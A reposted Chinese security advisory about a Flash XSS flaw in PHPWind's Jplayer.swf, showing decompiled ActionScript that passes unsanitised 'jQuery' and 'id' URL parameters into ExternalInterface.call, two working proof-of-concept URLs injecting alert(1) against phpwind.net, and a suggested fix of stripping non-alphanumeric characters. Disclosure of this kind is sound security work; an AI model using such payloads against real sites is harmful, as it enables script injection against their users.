好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

PHPWind flash xss 0day [2] - 网站安全 - 自学php

PHPWind使用的flash文件还真多。

1、 漏洞 文件为:http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf

 

2、反编译后看代码:

 

this.jQuery = (((loaderInfo.parameters.jQuery + "('#") + loaderInfo.parameters.id) + "').jPlayer");

……

        private function init(_arg1:TimerEvent):void{

            this.myInitTimer.stop();

            if (ExternalInterface.available){

                ……

                ExternalInterface.call(this.jQuery, "jPlayerFlashEvent", JplayerEvent.JPLAYER_READY, this.extractStatusData(this.commonStatus));

            };

        }

 

www.2cto.com

3、我们看到在上面的代码中jQuery变量是由loaderInfo.parameters.jQuery和loaderInfo.parameters.id两个外部参数拼接而成的,并且没有进行任何的处理直接带入到ExternalInterface.call中。

 

4、可以构造两个POC,为下面,所以是两处xss:

 

http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//

 

http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?id='))}catch(e){alert(1)}//

 

漏洞证明:

http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//

 

http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?id='))}catch(e){alert(1)}//

修复方案:

可以参考swfupload.swf那个地方的修复方法,就是把非a-zA-Z0-9_字符replace为空

查看更多关于PHPWind flash xss 0day [2] - 网站安全 - 自学php的详细内容...

  阅读:62次